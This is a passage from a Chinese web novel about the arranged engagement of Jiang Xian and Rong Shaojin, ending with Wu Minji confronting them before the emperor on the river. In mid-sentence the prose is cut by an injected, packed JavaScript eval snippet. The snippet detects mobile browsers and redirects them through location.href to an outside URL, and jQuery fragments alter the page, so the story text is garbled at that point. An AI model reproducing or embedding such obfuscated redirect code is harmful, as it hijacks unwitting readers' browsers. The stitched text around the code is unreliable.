荣少锦深深看他一眼,抬手拿过茶杯,扬唇笑道:“礼金这种东西没个定数,你按着心意给就好。在我家里办婚宴,我看谁敢给姜闲朋友脸色。或者,你干脆送幅字吧,也挺好,别致。” 说完,喝下茶水,放杯起身:“我性子耐不住,你们慢慢下,我就先走了,不用送。陈翰林,日后要有空,欢迎来找姜闲下棋,这个我陪不了他。” 姜闲不和他客气,只让云雁和刘山帮着送人。 陈甫目送荣少锦离开,抬手落下一子,对姜闲笑道:“长公主府的门槛是高一点,不过我还是能迈得过去。” 姜闲无奈地摇摇头:“你会被拿来和姜德一起比较,背上趋炎附势之名。” 陈甫现在很是放松,回道:“无所谓。等过了翰林院里的一年学习期,我都打算直接寻一处没人想去的下县。一走就至少三年,甚至六年九年也不定,我们兄弟就今年还有些时间能聚一聚。” 姜闲沉默片刻,重新落子:“我娘会照顾好你娘,你放心去。” 陈甫拱拱手:“多谢。” 不一会儿,云雁拿着一个信封回来,递给陈甫:“开阳侯给的。” 陈甫有些莫名,接过打开,从里面抽出五百两的银票,吓了一大跳。 云雁:“开阳侯让陈公子拿这个当礼金。” 陈甫有些无措地看向姜闲:“这……我哪拿得出这么大一笔,太明显了……” 姜闲好笑又无奈地伸手接过,吩咐云雁去拿张五十两的来给陈甫。 15.热闹 风平浪静地过去五天,距离荣少锦和姜贵的成婚日还有五天之时,由京中最有名的三家妓馆共同举办的舞魁大赛拉开帷幕。 主举方早早便在宣传这事,如今整个京城无人不知无人不晓。还是在金洛河上比,前前后后要比好几轮,哪怕是平常去不起那些妓馆的人,也可以找地方瞧个热闹,因此可以称得上是人人期盼。 兴乐帝是个好热闹的皇帝,以前民间举办新奇的活动,他都时常微服出游,与民同乐,更别说这次还美人云集。 武敏吉作为在兴乐帝身旁长大的人,对他的爱好脾气再清楚不过。自然是体贴地早早跟兴乐帝说了这事,并做好万全准备,只等着今日带兴乐帝去看个开心。 活动在中午开始,武敏吉吃过早饭,试了几套衣裳,挑出适合的一件,就要出门进宫。 这时,负责姜闲相关情报的门客匆匆进来,行礼说:“殿下,刚刚听到一个消息——开阳侯会带姜大公子一同去看等会儿的花魁赛。” 武敏吉:“确定?对这种以女人为中心的活动,荣少锦向来没有兴趣。” 门客:“应当八九不离十。田钦包了艘画舫,他们那一帮子人都去。开阳侯大概是被拉去了,就说带姜大公子去收见面礼。下官刚核实完,他们那一帮子的确这几天都在淘礼物。” 武敏吉点下头:“你去换身好衣裳,跟我一起去,在宫门外等着伴驾。” 门客大喜过望,伴驾可就意味着有能被皇帝赏识的机会!一迭声地送上赞美与感谢,再连忙跑去准备。 武敏吉轻轻捻着折扇扇坠下的穗子,慢慢露出个冷笑。 * 姜闲今日挑了用荣少锦新衣改好的衣裳,是长公主府的绣娘们赶工出来的一身,昨日才给送过来。 云雁帮他整好衣,再取来一只新香囊,习惯性地要往姜闲左腰挂。 姜闲伸手拦了下:“挂右边,左边挂那块双鱼。” 云雁转到右边,又不由得笑道:“我都忘了有开阳侯送的玉佩。” 他挂好香囊,再找出荣少锦送来的玉佩,也给姜闲挂好。 收拾妥当,姜闲等没多久,荣少锦就到了。 还带来一名瘦瘦高高的青年,看着估摸比荣少锦要小上个三四岁。 荣少锦给姜闲介绍:“这是我姑姑的儿子,我表弟韩恭,最近刚进了国子学念书。” 姜闲有些惊讶。 本朝国子学只收荫生,且要公侯之家,或三品以上官员才有名额。这几日姜德正式升任工部尚书,就打算把姜贵送进国子学去。 荣少锦看出姜闲的诧异,解释道:“我家有个名额,但我不想去,就求了圣上恩典,让给了韩恭。” 姜闲点点头,吩咐云雁:“取个香囊来。” 云雁很快端来一只小香囊,送到韩恭面前。 姜闲:“去水边蚊虫多,这是我自己配的驱虫香,韩公子若不介意可以戴上。” 韩恭没想到还能收到礼,赶忙道谢收下,瞥一眼荣少锦的脸色,见他似无异样,才低头挂在腰间。 荣少锦起身过来扶姜闲:“走吧。今日我搭车来的,坐我的车去。” 姜闲却从袖中也摸出一只香囊:“这是给你的,和我这只一个式样。” 荣少锦一愣。 他今日特地挂了双鱼玉佩,刚才发现姜闲穿了新衣,也挂着双鱼玉佩,感觉心情都更好些。虽然也看到了姜闲腰间的香囊,不过姜闲身体弱,戴药囊不奇怪,也就没在意。 就连刚才姜闲送韩恭驱虫香囊,他只当是姜闲临时拿一个给表弟当见面礼。完全没想到,姜闲还备了给自己的独一份。 韩恭的那只,就是寻常的方包模样。 而姜闲和荣少锦的,都是葫芦模样,并且绣有字。一个是“锦”,一个“闲”。 荣少锦惊喜地伸手摸一摸那个字,不自觉地脱口问:“你绣的?” 姜闲:“嗯。就是绣得不好,我也没学过绣活。你可以收在袖袋里,一样能有效果。” 荣少锦抬眼看看他,拿起香囊低头挂在腰上。 姜闲也弯下身,帮忙整理一下衣摆。 韩恭站在旁边瞧着,面色不由得有些微妙——姜闲看起来竟然对这桩婚事没有抵抗心,这是认命了? 不过转念一想——先前在华泽那里查到的消息,姜闲母子俩每年吃药就得花费一大笔钱。以姜德待他们的苛刻,面对荣少锦的大方,会妥协倒也不奇怪。 这番寒暄之后,三人才一同往外走。 荣少锦扶姜闲坐上马车。这辆车比姜闲自己的小车宽敞不少,甚至可以在车里躺下休息,加上云雁和花清两名小厮都不挤。 韩恭骑了马,跟马车一同离开姜家,就靠到车旁和荣姜两人人告辞,自己打马离开。 姜闲奇怪地问:“韩公子不去看热闹?” 荣少锦:“他和国子监的同学有约,不和我们一起。” 说完,目光在姜闲扎发鬓的飘带上扫过:“怎么没戴那只簪子。” 前几次见面,姜闲都戴着木簪。今天估计是木簪和衣裳玉佩不相配,才换成发带。 姜闲:“琉璃簪易碎,出门我担心不注意会磕着。” 荣少锦:“坏了就再买新的。” 姜闲笑道:“那是你送我的第一样礼,坏了总感觉兆头不好。” 荣少锦看着他眼中的笑,突然感觉心头像是被针尖轻轻戳了一下,泛起一点轻微的麻。 姜闲又续道:“而且,我看你都喜欢用发带,我们一同用也挺好。” 的确,荣少锦除了正式场合,平常都不扎发髻,直接用发带把头发高高束起。一开始是为了符合纨绔的作风,久而久之也就习惯了这样。 荣少锦随手摸一把自己头发:“我的发带多,日后你要瞧着哪条喜欢,随便拿去用。” * 金洛河是一条穿过京城的大河支流。三家妓馆在一段河面上搭了舞,此时已经有舞娘在上面跳舞暖场,周围停满大大小小的船只。 荣家的马车停在岸边,荣少锦扶着姜闲下车,马上就有个小厮上前问好,领两人去田钦包的花舫。 姜闲抬眼四望,见不仅是河里船多,两岸和附近一条桥上更是站满了等着看热闹的人, 田钦包的花舫位置很好,就在舞台前方,只偏左一点。旁边是一艘更大的船,看装扮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660893|141397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也更精致,上面站着不少佩刀的劲装护卫。 荣少锦随口问领路的小厮:“旁边那船里是谁?” 小厮却摇摇头:“我家公子打探过,但那边不说。” 荣少锦心念一转,大概猜得出——十有八九是兴乐帝来了。 不过那也不关他的事。 荣少锦带着姜闲上了花舫,田钦等人已经聚齐,都围上来七嘴八舌地道贺。 人虽不算多,只有五六个,但这个一句那个一句,又都是中气十足的嗓门,听起来实在是有点吵。 荣少锦一一给姜闲介绍过,还对众人的见面礼逐一点评一下,就抬手赶人:“行了行了,你们自己玩吧,我带姜闲到上面躲清净。” 众人纷纷起他的哄。 “还嫌弃我们,平常声最大的不就是你。” “我们以后再去长公主府,是不是可以欣赏到开阳侯温声柔语说话的奇景啊。” 荣少锦没理会他们,只对姜闲道:“你先上去坐一会儿,我和他们说几句话。” 姜闲点点头,又向众人行一礼,就带着云雁先一步上二楼去。 他刚走,田钦就开口夸:“姜大公子不愧是能让咱们少锦一见钟情的人,果真是俊美无双。” 有人接着感慨:“还好没让端王先瞧见,不然咱们少锦怕是要相思成疾了。” 荣少锦横过去一眼,刚要说话,却被田家仆从跑进来打断。 那仆从急声道:“吕内侍在船下,请开阳侯和各位公子一同到旁边船上去一趟。” 众人听得都是一愣。 田钦反应过来:“吕内侍?旁边那条船里是圣上?” 仆从老实摇头:“他没说。” 荣少锦给身旁花清使个眼色,再扫视众人,便当先往外走:“赶紧走吧,别让陛下久等。” 一行人出到甲板,见船下方岸上站着个面白无须的中年人,果然是常跟在兴乐帝身边的吕宦官。 荣少锦领着众人下船,和吕宦官相互见礼,再随他上了旁边的船。 舱中不仅兴乐帝在,旁边还有武敏吉并几个时常伴驾的宠臣。 众人上前行礼问安。 兴乐帝看着心情不错,叫了起,又招手叫荣少锦坐到身旁坐:“少锦,婚事准备得如何?要是缺什么,直管到内侍省去拿。” 荣少锦笑道:“都准备好了,就等着到日子去接亲。舅舅不方便过来喝喜酒,到时我让人送喜糕进宫里给舅舅尝尝。” 兴乐帝也笑着就应好:“宫里好久没有喜事,朕也沾点你的喜气。” 这时,却听武敏吉的声音在旁边插进来:“少锦,趁着这婚还没成,你要不要再考虑一下。你看中的那位公子,不太担得起你这份深情啊。” 这话一出,舱内的气氛一下变得怪异。 所有人的目光都暗暗在荣少锦和武敏吉两人之间打转。 连兴乐帝都稍稍敛起笑意,略带责备地看一眼武敏吉。 武敏吉对兴乐帝拱手:“当着陛下,我不敢隐瞒。” 随即,他又转向荣少锦,眼带挑衅地抬抬下巴:“就六日前,那位姜大公子,陪我在来财赌馆玩了一整晚。”